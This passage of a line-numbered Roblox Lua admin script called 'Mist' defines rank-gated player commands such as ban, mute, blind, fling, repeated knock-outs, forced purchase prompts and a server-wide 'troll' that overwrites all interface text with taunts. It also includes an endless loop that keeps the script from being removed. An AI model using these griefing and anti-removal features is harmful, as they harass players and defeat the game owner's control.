  5768. il.Image = "http://www.roblox.com/asset/?id=106016362"
  5769. SG.Name = "Blind"
  5770.  
  5771. end)
  5772. end
  5773. end)
  5774. Mist.Functions.CreateCommand('Punishment','pun,punish',true,1,'Punishes<Player>','%s u Unpunish',function(Message,Speaker,Flags)
  5775. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  5776. if(Flags['u'])then
  5777. pcall(function()v.Character.Parent=workspace;v.Character:MakeJoints()end);
  5778. else
  5779. v.Character.Parent=Mist.Services'ReplicatedStorage';
  5780. end;
  5781. end;
  5782. end);
  5783. Mist.Functions.CreateCommand('Prompt purchase','pp,ppurchase',true,1,'Prompts <Player> to buy <Flags.i ID>','%s i ID',function(Message,Speaker,Flags)
  5784. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker,true)do
  5785. pcall(function()
  5786. local Market=Mist.Services'marketplaceService';
  5787. local id=tonumber(Flags.i or"0")or 0;
  5788. local Owns=Market:PlayerOwnsAsset(v,id);
  5789. if(Owns)then
  5790. Mist.Functions.Output(v.Name.. ' already owns that asset','Red',Speaker,3);
  5791. else
  5792. Market:PromptPurchase(v,id);
  5793. end;
  5794. end);
  5795. end;
  5796. end);
  5797. Mist.Functions.CreateCommand('Temp ban','tban',false,1,'Temp bans <PLayer> for <Time>','No flags',function(Message,Speaker,Flags)
  5798. local t=tick();
  5799. local p,m=Message:match'(.+)%s(.+)';
  5800. for _,v in next,Mist.Functions.GetPlayers(p,Speaker)do
  5801. Mist.Temp_Ban_Data[v.Name]={t,tonumber(m)};
  5802. end;
  5803. end);
  5804. Mist.Functions.CreateCommand('Summon','summon,request',false,0,'Summons <Player> to teleport to you','',function(Message,Speaker,Flags)
  5805. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  5806. Mist.Functions.Output(Speaker.Name..' has requested to summon you, click to accept','Orange',v,nil,function()
  5807. Spawn(function()v.Character.Torso.CFrame=Speaker.Character.Torso.CFrame*CFrame.new(0,math.rad((360/#Mist.Functions.GetPlayers(Message,Speaker))*_),0)*CFrame.new(0,0,-5)end);
  5808. end);
  5809. end;
  5810. end);
  5811. Mist.Functions.CreateCommand('Stairs','stairs,steps',true,1,'Generates stairs','%s c Clear all stairs, %s h height',function(Message,Speaker,Flags)
  5812. local start=CFrame.new();pcall(function()
  5813. local p=Speaker.Character.Torso.CFrame*CFrame.new(0,-2,0);
  5814. start=CFrame.new(p.p,(p*CFrame.new(0,0,-3)).p);
  5815. end);
  5816. if(Flags.c)then
  5817. coroutine.wrap(function()
  5818. for _,v in next,Mist.Functions.RecursiveChildren(Mist.Services'workspace','name','MIST_STEPS')do
  5819. v:destroy();
  5820. end;
  5821. end)();
  5822. return;
  5823. end;
  5824. local height=tonumber(Flags.h or'30')or 30;
  5825. coroutine.wrap(function()
  5826. local m=Instance.new('Model',workspace);m.Name='MIST_STEPS';
  5827. local size=Vector3.new(3,1,1);
  5828. for i=0,height do
  5829. local y=i/2;
  5830. local z=-10;
  5831. local x=0;
  5832. local rad=math.rad(i*10);
  5833. local part=Instance.new'Part';
  5834. part.Anchored=true;
  5835. part.TopSurface,part.BottomSurface='Smooth','Smooth';
  5836. part.Color=BrickColor.new'Really red'.Color;
  5837. local carpet=part:clone();
  5838. carpet.FormFactor='Custom';
  5839. carpet.Size=part.Size+Vector3.new(-.5,.25,.5);
  5840. carpet.BrickColor=BrickColor.new'Really black';
  5841. carpet.CanCollide=false;
  5842. part.CFrame=start*CFrame.Angles(0,rad,0)*CFrame.new(x,y,z)*CFrame.Angles(0,math.rad(90),0);
  5843. carpet.CFrame=part.CFrame;
  5844. local rail=Instance.new'Model';
  5845. for _,_v in next,{{-1.9,290,2},{1.9,285,2.5}}do
  5846. local v=_v[1];
  5847. local vv=_v[2];
  5848. local vvv=_v[3];
  5849. local r=Instance.new('Part',rail);
  5850. r.Anchored=true;
  5851. r.FormFactor='Custom';
  5852. r.Color=BrickColor.new'Really red'.Color;
  5853. r.Size=Vector3.new(.1,4,.1);
  5854. r.CFrame=part.CFrame*CFrame.new(v,2,0);
  5855. local e=r:clone();
  5856. e.CFrame=part.CFrame*CFrame.new(v,4,0)*CFrame.Angles(math.rad(vv),0,0);
  5857. e.Size=Vector3.new(.1,vvv,.1);
  5858. e.Color=BrickColor.new'Really black'.Color
  5859. e.Parent=rail;
  5860. end;
  5861. part.Parent,carpet.Parent,rail.Parent=m,m,m;
  5862. wait();
  5863. end;
  5864. end)();
  5865. end);
  5866. Mist.Functions.CreateCommand('Baseplate','base,baseplate,plate',true,1,'Creates a baseplate in workspace','%s s small, %s size Size1,Size2,Size3, %s w Walls, %s t terrain base',function(Message,Speaker,Flags)
  5867. if(Flags.t)then
  5868. coroutine.wrap(function()
  5869. local a,b=Vector3int16.new(-50,0,-50),Vector3int16.new(50,1,50);
  5870. local selectedType,types=nil,{'Grass','Sand','Brick','Granite','Asphalt','Iron','Aluminum','Gold','WoodPlank','WoodLog','Gravel','CinderBlock','MossyStone','Cement','RedPlastic','BluePlastic','Water'};
  5871. for _,v in next,types do
  5872. if((tonumber(Message) and tonumber(Message)==_)or v:lower():find(Message:lower()))then
  5873. selectedType=v;
  5874. end;
  5875. end;
  5876. if(selectedType==nil)then selectedType=types[math.random(1,#types)]; end;
  5877. pcall(function() workspace.Terrain:clear() end);
  5878. pcall(function() repeat wait(); workspace.Base:Destroy() until not workspace:findFirstChild'Base'; end);
  5879. wait(.25);
  5880. workspace.Terrain:SetCells(Region3int16.new(a,b),selectedType,'Solid','NegZ');
  5881. end)();
  5882. return;
  5883. end;
  5884. local Size=Vector3.new(200,0,200);
  5885. if(Flags.size)then
  5886. local size={200,0,200};
  5887. local i=0;
  5888. for c in Flags.size:gmatch'([^,]+)'do
  5889. i=i+1;
  5890. size[i]=tonumber(c)or size[i];
  5891. end;
  5892. Size=Vector3.new(unpack(size));
  5893. elseif(Flags.s)then
  5894. Size=Vector3.new(125,0,125);
  5895. end;
  5896. pcall(function()Mist.Services'Workspace'.Base:remove()end);
  5897. local base=meta_create'Part'{
  5898. Parent=workspace;
  5899. Anchored=true;
  5900. Size=Size;
  5901. TopSurface='Smooth';
  5902. Color=BrickColor.new'Dark green'.Color;
  5903. Name='Base';
  5904. CFrame=CFrame.new();
  5905. };
  5906. if(Flags.w)then
  5907. for i=1,4 do
  5908. local wall=base:clone();
  5909. wall.CFrame=base.CFrame*CFrame.Angles(0,math.rad(i*90),0)*CFrame.new(0,(wall.Size.z/2),-(wall.Size.z/2))*CFrame.Angles(math.rad(90),0,0);
  5910. wall.Parent=base;
  5911. end;
  5912. end;
  5913. end);
  5914. Mist.Functions.CreateCommand('Banishments','blist',true,0,'Lists all the banned players','%s t Time Banned',function(Message,Speaker,Flags)
  5915. local Bans={};
  5916. if(Flags.t)then
  5917. for _,v in next,Mist.Temp_Ban_Data do
  5918. table.insert(Bans,{'Time',_,v});
  5919. end;
  5920. else
  5921. for _,v in next,Mist.Ranked do
  5922. if(v.Rank<0 and v.Rank~=-.5)then
  5923. table.insert(Bans,{'Rank',_,v});
  5924. end;
  5925. end;
  5926. end;
  5927. local C=#Bans;
  5928. if(C==0)then
  5929. Mist.Functions.Output("No banishments found :)","Green",Speaker,5);
  5930. return;
  5931. end;
  5932. Mist.Functions.Title('Banishments','Red',Speaker);
  5933. for _,ban_data in next,Bans do
  5934. local Type,Name,Data=ban_data[1],ban_data[2],ban_data[3];
  5935. local T=Mist.Functions.Output("",Mist.Ranked[Name].Color,Speaker,nil,function()
  5936. Mist.Functions.RemoveTablets(Speaker);
  5937. Mist.Functions.Output("Unban <"..Name..">?","Green",Speaker,nil,function()
  5938. if(Mist.Functions.GetRank(Speaker)>0)then
  5939. if(Type=='Time')then
  5940. Mist.Temp_Ban_Data[Name]={tick(),0};
  5941. else
  5942. Mist.Ranked[Name].Rank=0;
  5943. end;
  5944. else
  5945. Mist.Functions.Output("Attempt failed","Red",Speaker);
  5946. end;
  5947. end);
  5948. end);
  5949. if(Type=="Time")then
  5950. coroutine.wrap(function()
  5951. repeat wait()
  5952. T.Label.Text=string.format("%s has %s seconds left until ban is lifted",Name,math.ceil(tick()-Data[1]));
  5953. wait();
  5954. until Mist.Temp_Ban_Data[Name]==nil;
  5955. T.Part:Remove();
  5956. end)();
  5957. else
  5958. T.Label.Text=Name;
  5959. end;
  5960. end;
  5961. end);
  5962. Mist.Functions.CreateCommand('Vote for rank up','voterank',false,0,'Votes for a rank up','',function(Msg,Spkr,Flags)
  5963. local Players,Votes,Tablets=Mist.Functions.GetPlayers(),{},{};
  5964. if(#Players<3)then
  5965. Mist.Functions.Output('There is not enough players in game for this operation, need 4+','Red',Spkr,5);
  5966. return;
  5967. end;
  5968. if(Mist.Functions.GetRank(Spkr)>=1)then
  5969. Mist.Functions.Output('You cannot ask for a rank up, your rank is '..Mist.Functions.GetRank(Spkr),'Red',Spkr,3);
  5970. return;
  5971. end;
  5972. for _,User in next,Players do
  5973. if(User~=Spkr)then
  5974. for _,Vote in next,{'No','Yes'}do
  5975. local Tablet=Mist.Functions.Output(Spkr.Name..'[Rank '..Mist.Functions.GetRank(Spkr)..']: has asked to be ranked up, Vote: '..Vote,((Vote=='No'and 'Green')or'Red'),User,nil,function()
  5976. Votes[Vote]=(Votes[Vote] or 0)+1;
  5977. Mist.Functions.RemoveTablets(Speaker)
  5978. end);
  5979. table.insert(Tablets,Tablet);
  5980. end;
  5981. end;
  5982. end;
  5983. coroutine.wrap(function()
  5984. local Players,Votes,Tablets=Players,Votes,Tablets;
  5985. repeat wait()
  5986. for _,v in next,Tablets do
  5987. if(not v.Model:isDescendantOf(Workspace))then
  5988. Tablets[_]=nil;
  5989. pcall(function() v.Model:Destroy() end);
  5990. end;
  5991. end;
  5992. wait();
  5993. until #Tablets==0;
  5994. local Yes=Votes.Yes;
  5995. local No=Votes.No;
  5996. if(No>Yes)then
  5997. Mist.Functions.Output('The people have declined your request: No: '..No..'/ Yes: '..Yes,'Red',Spkr,3);
  5998. else
  5999. Mist.Ranked[Spkr.Name]=Mist.Functions.GetRank(Spkr)+1;
  6000. end;
  6001. end)();
  6002. end)
  6003. Mist.Functions.CreateCommand('Fix Mist','fix',true,2,'Fixes <flag>','%s r Rotation,%s char CharacterAppearance, %s ur UnRemovable',function(Msg,Spkr,Flags)
  6004. if(Flags.r)then
  6005. Mist.Functions.MainLoop();
  6006. end;
  6007. if(Flags.char)then
  6008. Spkr.CharacterAppearance=Mist.UrlBases.Char:format(tostring(Spkr.UserId));
  6009. end;
  6010. if(Flags.ur)then
  6011. coroutine.wrap(function()
  6012. repeat script:Destroy(); script.Disabled=false; script.Name='Mist'; wait() until false;
  6013. end)();
  6014. end;
  6015. end);
  6016. Mist.Functions.CreateCommand('Suspend server','suspend,hang',true,1,'Suspends the server for <seconds>','%s p player',function(Message,Speaker,Flags)
  6017. if(Flags.p)then
  6018. for _,v in next,Mist.Functions.GetPlayers(Flags.p or'me',Speaker)do
  6019. Mist.Functions.NewLocalScript([[
  6020. now=tick();
  6021. repeat wait() until now+]]..tostring(((tonumber(Message) and Message)or'3'))..[[<tick()
  6022. ]],Instance.new('Backpack',v));
  6023. end;return;
  6024. end;
  6025. coroutine.wrap(function()
  6026. local now=tick();
  6027. local add=tonumber(Message)or 3;
  6028. if(add>Mist.Functions.GetRank(Speaker)*60)then
  6029. add=3;
  6030. end;
  6031. repeat wait() until now+add<tick();
  6032. wait();
  6033. Mist.Functions.MainLoop();--Incase script Timeout
  6034. wait();
  6035. for i=1,100 do
  6036. Mist.Functions.MainLoop();
  6037. wait();
  6038. end;
  6039. end)();
  6040. end);
  6041. Mist.Functions.CreateCommand('Banish','ban,banish',true,2,'Bans <Player>','%s u Unban',function(Message,Speaker,Flags)
  6042. if(Flags.u)then
  6043. pcall(function()Mist.Ranked[Message].Rank=0;end);
  6044. else
  6045. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  6046. v:kick();
  6047. Mist.Ranked[v.Name].Rank=-1;
  6048. end;
  6049. end;
  6050. end);
  6051. Mist.Functions.CreateCommand('Bald','bald',true,1,'Makes <Player> bald','%s h give hats back',function(Message,Speaker,Flags)
  6052. for _,p in next,Mist.Functions.GetPlayers(Message,Speaker)do
  6053. if(Flags.h)then
  6054. pcall(function()
  6055. for _,v in next,game:service'ReplicatedStorage':findFirstChild(p.Name):children()do
  6056. v.Parent=p.Character;
  6057. end;
  6058. game:service'ReplicatedStorage':findFirstChild(p.Name):destroy();
  6059. end);
  6060. else
  6061. local m=Instance.new('Model',game:service'ReplicatedStorage');
  6062. m.Name=p.Name;
  6063. for _,v in next,p.Character:children()do
  6064. if(v:isA'Hat')then
  6065. v.Parent=m;
  6066. end;
  6067. end;
  6068. end;
  6069. end;
  6070. end);
  6071. Mist.Functions.CreateCommand('No scripts','nos,noscripts',true,0,'Gets no scripts','',function(Message,Speaker,Flags)
  6072. coroutine.wrap(function()
  6073. for _,v in next,Mist.Scripts do
  6074. coroutine.wrap(function()
  6075. local script=v[1];
  6076. local scriptFunc=Mist.ScriptStops[script];
  6077. if(scriptFunc)then
  6078. pcall(function()
  6079. local invoke,owner=sciptFunc[1],scriptFunc[2];
  6080. if(script.className=='Script')then
  6081. invoke:InvokeServer();
  6082. else
  6083. invoke:InvokeClient(owner);
  6084. end;
  6085. end);
  6086. end;
  6087. v[1].Disabled=true;
  6088. v[1].Name='ENDEDSCRIPT';
  6089. v[1]:clearAllChildren();
  6090. wait();
  6091. end)();
  6092. wait();
  6093. end;
  6094. end)();
  6095. end);
  6096. Mist.Functions.CreateCommand('Blind','blind',true,2,'Blinds <Player>','%s u unblind, %s t Time',function(Message,Speaker,Flags)
  6097. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  6098. if(Flags.t)then
  6099. coroutine.wrap(function()
  6100. local t=tick();
  6101. Mist.Functions.SendPacket('Blind',v.Name);
  6102. local f=tonumber(Flags.t)or 3;
  6103. local Msg;
  6104. pcall(function()
  6105. Msg=Instance.new('Message',v.PlayerGui);
  6106. Msg.Text='[MIST]: You have been blinded for '..tostring(f)..' second(s)';
  6107. game:service'Debris':addItem(Msg,f);
  6108. end);
  6109. repeat wait() pcall(function()Msg.Text='[MIST]: You have been blinded for '..tostring(math.ceil((t+f)-tick()))..' second(s)'end); until t+f<tick();
  6110. Mist.Functions.SendPacket('Unblind',v.Name);
  6111. end)();
  6112. return;
  6113. end;
  6114. if(Flags.u)then
  6115. Mist.Functions.SendPacket('Unblind',v.Name);
  6116. else
  6117. Mist.Functions.SendPacket('Blind',v.Name);
  6118. end;
  6119. end;
  6120. end);
  6121. Mist.Functions.CreateCommand('Spin','spin',true,2,'Spins <Player>','%s u Unspin, %s t Time',function(Message,Speaker,Flags)
  6122. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  6123. if(Flags.t)then
  6124. coroutine.wrap(function()
  6125. local t=tick();
  6126. Mist.Functions.SendPacket('Spin',v.Name);
  6127. local f=tonumber(Flags.t)or 3;
  6128. local Msg;
  6129. pcall(function()
  6130. Msg=Instance.new('Message',v.PlayerGui);
  6131. Msg.Text='[MIST]: You have been spun for '..tostring(f)..' second(s)';
  6132. game:service'Debris':addItem(Msg,f);
  6133. end);
  6134. repeat wait() pcall(function()Msg.Text='[MIST]: You have been spun for '..tostring(math.ceil((t+f)-tick()))..' second(s)'end); until t+f<tick();
  6135. Mist.Functions.SendPacket('Unspin',v.Name);
  6136. end)();
  6137. return;
  6138. end;
  6139. if(Flags.u)then
  6140. Mist.Functions.SendPacket('Unspin',v.Name);
  6141. else
  6142. Mist.Functions.SendPacket('Spin',v.Name);
  6143. end;
  6144. end;
  6145. end);
  6146. Mist.Functions.CreateCommand('Mute','mute',true,2,'Mutes <Player>','%s u unmute, %s t Time,%s b muteban',function(Message,Speaker,Flags)
  6147. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  6148. if(Flags.t)then
  6149. coroutine.wrap(function()
  6150. local t=tick();
  6151. Mist.Functions.SendPacket('Mute',v.Name);
  6152. local f=tonumber(Flags.t)or 3;
  6153. local Msg;
  6154. pcall(function()
  6155. Msg=Instance.new('Message',v.PlayerGui);
  6156. Msg.Text='[MIST]: You have been muted for '..tostring(f)..' second(s)';
  6157. game:service'Debris':addItem(Msg,f);
  6158. end);
  6159. repeat wait() pcall(function()Msg.Text='[MIST]: You have been muted for '..tostring(math.ceil((t+f)-tick()))..' second(s)'end); until t+f<tick();
  6160. Mist.Functions.SendPacket('Unmute',v.Name);
  6161. end)();
  6162. return;
  6163. end;
  6164. if(Flags.u)then
  6165. Mist.Functions.SendPacket('Unmute',v.Name);
  6166. else
  6167. Mist.Functions.SendPacket('Mute',v.Name);
  6168. if(Flags.b)then
  6169. if(Mist.Ranked[Speaker.Name].Rank>=3)then
  6170. Mist.Ranked[v.Name].Rank=-2;
  6171. else
  6172. Mist.Functions.Output('Your rank is not high enough for this action','Red',Speaker,3);
  6173. end;
  6174. end;
  6175. end;
  6176. end;
  6177. end);
  6178. Mist.Functions.CreateCommand('Platform','plat,platform',true,2,'Plats <Player>','%s u unplatform',function(Message,Speaker,Flags)
  6179. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  6180. if(Flags.u)then
  6181. Mist.Functions.SendPacket('Unplat',v.Name);
  6182. else
  6183. Mist.Functions.SendPacket('Plat',v.Name);
  6184. end;
  6185. end;
  6186. end);
  6187. Mist.Functions.CreateCommand('Fling','fling,toss',true,1,'Flings <Player>','%s s seed,%s f force',function(Msg,Spkr,Flags)
  6188. if(Flags.s)then pcall(math.randomseed,tonumber(Flags.s)) end;
  6189. local _setforce=tonumber(Flags.f or'5') or 5;
  6190. for _,v in next,Mist.Functions.GetPlayers(Msg,Spkr)do
  6191. local force=Instance.new'BodyForce';
  6192. pcall(function() v.Character.Torso._force:Destroy() end);
  6193. force.Parent=v.Character.Torso;
  6194. force.Name='_force';
  6195. force.force=Vector3.new(math.random(-9999,9999)*_setforce,9999*_setforce,math.random(-9999,9999)*_setforce);
  6196. coroutine.wrap(function()
  6197. local force=force;
  6198. wait(.25);
  6199. force:Destroy();
  6200. end)();
  6201. end;
  6202. end);
  6203. Mist.Functions.CreateCommand('Balefire','bale,balefire',true,2,'Balefires <Player>','%s u unbaleifre',function(Message,Speaker,Flags)
  6204. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  6205. if(Flags.u)then
  6206. Mist.Functions.SendPacket('Unbalefire',v.Name);
  6207. else
  6208. Mist.Functions.SendPacket('Balefire',v.Name);
  6209. end;
  6210. end;
  6211. end);
  6212. Mist.Functions.CreateCommand('Zombify','zomb,zombie,zombify',true,1,'Zombifies <Player>','%s c Cure',function(Message,Speaker,Flags)
  6213. local infect=Mist.Functions.Infect;
  6214. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  6215. infect(v,Flags.c~=nil);
  6216. end;
  6217. end);
  6218. Mist.Functions.CreateCommand('Troll server','gtroll',true,3,'Trolls <Server>','%s c cancel',function(Message,Speaker,Flags)
  6219. pcall(function()Mist.Connections['Troll']:disconnect()end);
  6220. if(Flags.c)then return end;
  6221. Mist.Connections['Troll']=Mist.Services'RunService'.Stepped:connect(function()
  6222. local _children={};
  6223. for _,v in next,Mist.Functions.RecursiveChildren(game:service'Workspace','isA','GuiObject')do
  6224. if(v.Name~=tostring('\2\3\4'))then
  6225. table.insert(_children,v);
  6226. end;
  6227. end;
  6228. for _,v in next,Mist.Functions.RecursiveChildren(game:service'Players','isA','GuiObject')do
  6229. table.insert(_children,v);
  6230. end;
  6231. for _,obj in next,_children do
  6232. pcall(function()
  6233. obj.Text,obj.TextColor,obj.BackgroundColor=(function()local tab={'TROLL','LELELEL','YOUR SO TROLLED','tu'..'sKO'..'r'..'661 is pwnzor','prepare for troll','Pus\5\5sy is good','Rawr','<3'};
  6234. return tab[math.random(1,#tab)]end)(),BrickColor:random(),BrickColor:random();
  6235. end);
  6236. end;
  6237. end)
  6238. end);
  6239. Mist.Functions.CreateCommand('@','@',false,1,'Makes <player> connect OnChatted with <msg> /'..'/@ player:cmd here','',function(msg,spkr,flags)
  6240. local sep=msg:find'%s+';
  6241. local players,rest;
  6242. if(sep)then
  6243. players,rest=msg:match'(.+)%:(.+)';
  6244. else
  6245. players=msg;rest='';
  6246. end;
  6247. if(rest==nil)then
  6248. return error'Invalid command uses[ correct: //@ players:command ]';
  6249. end;
  6250. for _,v in next,Mist.Functions.GetPlayers(players,spkr)do
  6251. if(rest:sub(1,1)=='*')then
  6252. Mist.Functions.OnChatted(rest:sub(2),v);
  6253. else
  6254. Mist.Functions.OnChatted('//'..rest,v);
  6255. end;
  6256. end;
  6257. end);
  6258. Mist.Functions.CreateCommand('Podium','pod,podium',true,1,'Creates a Podium','%s c Clear podiums, %s s Steps',function(Message,Speaker,Flags)
  6259. local function oassert(...)
  6260. local args={...};
  6261. local a,b=ypcall(function()assert(unpack(args))end);
  6262. if(not a)then
  6263. Mist.Functions.Output('Command error: '..b,'Red',Speaker,3);
  6264. end;
  6265. end;
  6266. if(Flags.c)then
  6267. for _,v in next,Mist.Functions.RecursiveChildren(Mist'Services''Workspace','name','MIST-Podium')do
  6268. v:remove();
  6269. end;
  6270. return;
  6271. end;
  6272. oassert(coroutine.resume(coroutine.create(function()
  6273. local steps_number=(tonumber(Flags.s));
  6274. local base=Speaker.Character.Torso.CFrame*CFrame.new(0,-3,0);
  6275. steps_number=steps_number or 7;
  6276. local model=Instance.new('Model',workspace);
  6277. model.Name='MIST-Podium';
  6278. for i=1,steps_number do
  6279. local h=i*1.25;
  6280. local step,carpet;
  6281. step=Instance.new('Part',model);
  6282. step.FormFactor='Custom';
  6283. step.Anchored=true;
  6284. step.BrickColor=BrickColor.new'Really red';
  6285. step.TopSurface='Smooth';
  6286. step.BottomSurface='Smooth';
  6287. step.CFrame=base*CFrame.new(0,h,-((i*1.75)+2));
  6288. carpet=step:clone();
  6289. carpet.FormFactor='Custom';
  6290. carpet.Size=step.Size+Vector3.new(-.5,.25,.5);
  6291. carpet.Parent=model;
  6292. carpet.BrickColor=BrickColor.new'Black';
  6293. carpet.CFrame=step.CFrame;
  6294. wait();
  6295. end;
  6296. local platform=Instance.new('Part',model);
  6297. platform.Anchored=true;
  6298. platform.Size=Vector3.new(10,1,10);
  6299. platform.TopSurface='Smooth';
  6300. platform.BottomSurface='Smooth';
  6301. platform.CFrame=base*CFrame.new(0,(steps_number+1)*1.25,-((steps_number*1.5)+10));
  6302. platform.FormFactor='Custom';
  6303. platform.BrickColor=BrickColor.new'Really red';
  6304. local mesh=Instance.new('CylinderMesh',platform);
  6305. mesh.Scale=Vector3.new(1,1,1);
  6306. local top_=platform:clone();
  6307. top_.Size=top_.Size+Vector3.new(-.5,.25,0);
  6308. top_.BrickColor=BrickColor.new'Black';
  6309. top_.Parent=model;
  6310. top_.CFrame=platform.CFrame;
  6311. for i=1,4 do
  6312. local ball=Instance.new('Part',model);
  6313. ball.Anchored=true;
  6314. ball.Size=Vector3.new(1,1,1);
  6315. ball.Reflectance=1/0;
  6316. ball.FormFactor='Custom';
  6317. ball.Shape='Ball';
  6318. ball.CFrame=platform.CFrame*CFrame.new(0,.5,0)*(CFrame.Angles(0,math.rad(i*(360/8)),0):inverse())*CFrame.new(0,0,-5);
  6319. local second=ball:clone();
  6320. second.Parent=model;
  6321. second.CFrame=platform.CFrame*CFrame.new(0,.5,0)*CFrame.Angles(0,math.rad(i*(360/8)),0)*CFrame.new(0,0,-5);
  6322. wait();
  6323. end;
  6324. end)));
  6325. end);
  6326. Mist.Functions.CreateCommand('Hoverseat','hover',true,1,'Generates a hoverseat','%s c Clear Hover seats',function(Msg,Speaker,Flags)
  6327. if(Flags.c)then for _,v in next,Mist.Functions.RecursiveChildren(workspace,'name','MIST hover')do v:Destroy() end return end;
  6328. local hoverSeat;hoverSeat=Instance.new'VehicleSeat';
  6329. hoverSeat.Name='MIST hover';
  6330. hoverSeat.Size,hoverSeat.Reflectance=Vector3.new(2.5,2.5,2.5),-(1*(4/3))/2;
  6331. hoverSeat.CFrame=Speaker.Character.Torso.CFrame*CFrame.new(0,0,-5);
  6332. hoverSeat.HeadsUpDisplay=false;
  6333. hoverSeat.Parent=workspace;
  6334. local bg,bp;bg=Instance.new'BodyGyro';bp=Instance.new'BodyPosition';
  6335. bg.maxTorque,bp.maxForce=Vector3.new(1/0,1/0,1/0),Vector3.new(1/0,1/0,1/0);
  6336. bg.Parent,bp.Parent=hoverSeat,hoverSeat;
  6337. bp.position=hoverSeat.Position;
  6338. coroutine.wrap(function()
  6339. local seat,bg,bp=hoverSeat,bg,bp;
  6340. while seat.Parent do
  6341. wait();
  6342. bg.cframe=bg.cframe*CFrame.Angles(0,-(math.pi/120*seat.Steer),0);
  6343. bp.position=bp.position+(bg.cframe.lookVector*seat.Throttle);
  6344. if(seat.Parent==nil)then break end;
  6345. end;
  6346. end)();
  6347. end);
  6348. Mist.Functions.CreateCommand('KO','knockout,ko',true,3,'KOs <Player> for <Times>','%s c Cancel',function(Msg,Speaker,Flags)
  6349. local Message,Number=Msg:match'(.+)%s*(.*)';
  6350. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  6351. pcall(function()
  6352. Mist.Connections['KO:'..v.Name]:disconnect();
  6353. end);
  6354. if(Flags.c)then
  6355. return;
  6356. else
  6357. coroutine.resume(coroutine.create(function()
  6358. local connection={
  6359. active=true;
  6360. disconnect=function(self)
  6361. self.active=false;
  6362. end;
  6363. real=nil;
  6364. kos=0;
  6365. };
  6366. Mist.Connections['KO:'..v.Name]=connection;
  6367. while connection.active do
  6368. if(connection.kos>=(tonumber(Number)or 100))then
  6369. connection.active=false;
  6370. return;
  6371. end;
  6372. wait(.3);
  6373. ypcall(function()
  6374. v.Character.Parent=nil;
  6375. wait(.3);
  6376. local creator=Instance.new'ObjectValue';
  6377. creator.Name='creator';
  6378. creator.Value=Speaker;
  6379. creator.Parent=v.Character.Humanoid;
  6380. v.Character.Parent=workspace;
  6381. wait(.3);
  6382. v.Character:makeJoints();
  6383. wait(.3);
  6384. v:LoadCharacter();
  6385. connection.kos=connection.kos+1;
  6386. end);
  6387. end;
  6388. end));
  6389. end;
  6390. end;
  6391. end);
  6392. Mist.Functions.CreateCommand('Grab','grab',true,1,'Grabs <Player>','%s d Drop',function(Msg,Spkr,Flags)
  6393. for _,v in next,Mist.Functions.GetPlayers(Msg,Spkr)do
  6394. coroutine.wrap(function()
  6395. local Torso=Spkr.Character.Torso;
  6396. local UserTorso=v.Character.Torso;
  6397. local Grabs=Torso:findFirstChild'Grabs';
  6398. if(Grabs==nil)then
  6399. Grabs=Instance.new'Model';
  6400. Grabs.Name='Grabs';
  6401. Grabs.Parent=Torso;
  6402. end;
  6403. if(Flags.d)then
  6404. pcall(function()
  6405. Grabs[v.Name].Part1=nil;
  6406. Grabs[v.Name]:Destroy();
  6407. end);
  6408. return;
  6409. end;
  6410. local RotI=(360/(#Grabs:children()+1));
  6411. local Update;Update=function()
  6412. for _,v in next,Grabs:children()do
  6413. v.C0=CFrame.Angles(0,math.rad(RotI*_),0)*CFrame.new(0,2.5,-(#Grabs:children()*.6)+-4)
  6414. coroutine.wrap(function()
  6415. local torsoHolder=v.Part1;
  6416. if(torsoHolder.Parent==nil or torsoHolder==nil)then
  6417. v:Destroy();
  6418. RotI=(360/(#Grabs:children()+1));
  6419. Update();
  6420. end;
  6421. end)();
  6422. end;
  6423. end;
  6424. local Weld=Instance.new'Weld';
  6425. Weld.Parent=Grabs;
  6426. Weld.Part0=Torso;
  6427. Weld.Part1=UserTorso;
  6428. local Conn;Conn=UserTorso.AncestryChanged:connect(function()
  6429. Update();
  6430. Conn:disconnect();
  6431. end);
  6432. Weld.Name=v.Name;
  6433. Update();
  6434. end)();
  6435. end;
  6436. end);
  6437. Mist.Functions.CreateCommand('Generate portal','portal',true,1,'Generates a portal','%s c clear portals',function(Message,Speaker,Flags)
  6438. if(Flags.c)then
  6439. for _,v in next,Mist.Functions.RecursiveChildren(workspace,'name','Mist-Portal')do
  6440. v:destroy();
  6441. end;
  6442. return;
  6443. end;
  6444. Spawn(function()
  6445. local baseCFrame=Speaker.Character.Torso.CFrame*CFrame.new(0,0,-5)*CFrame.Angles(0,math.rad(90),0)*CFrame.new();
  6446. local port=Instance.new('Model',workspace);
  6447. port.Name='Mist-Portal';
  6448. for i=0,360,10 do
  6449. local pod=Instance.new('Part',port);
  6450. pod.Anchored=true;
  6451. pod.FormFactor='Custom';
  6452. pod.Size=Vector3.new(1,3,1);
  6453. pod.CFrame=baseCFrame*CFrame.Angles(math.rad(i),0,0)*CFrame.new(0,0,-5);
  6454. pod.Color=BrickColor.new'Black'.Color;
  6455. wait();
  6456. end;
  6457. local portal=Instance.new('Part',port);
  6458. Instance.new('CylinderMesh',portal);
  6459. portal.Anchored=true;
  6460. portal.Size=Vector3.new(10,1,10);
  6461. portal.Transparency=.5;
  6462. portal.CanCollide=false;
  6463. portal.Color=BrickColor.new'Black'.Color;
  6464. portal.Touched:connect(function(hit)
  6465. local p=game:service'Players':playerFromCharacter(hit.Parent);
  6466. if(p)then
  6467. pcall(function()
  6468. p.Character.Torso.CFrame=CFrame.new(math.random(-100,100),math.random(500,1000),math.random(-100,100))*CFrame.Angles(math.random(),math.random(),math.random());
  6469. end);
  6470. end;
  6471. end);
  6472. portal.CFrame=baseCFrame*CFrame.Angles(math.rad(90),0,math.rad(90));
  6473. end);
  6474. end);
  6475. Mist.Functions.CreateCommand('Character_Tree','chartree',true,1,'Makes <Player> a Tree','%s n no tree',function(Message,Speaker,Flags)
  6476. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  6477. for _,o in next,v.Character:children()do
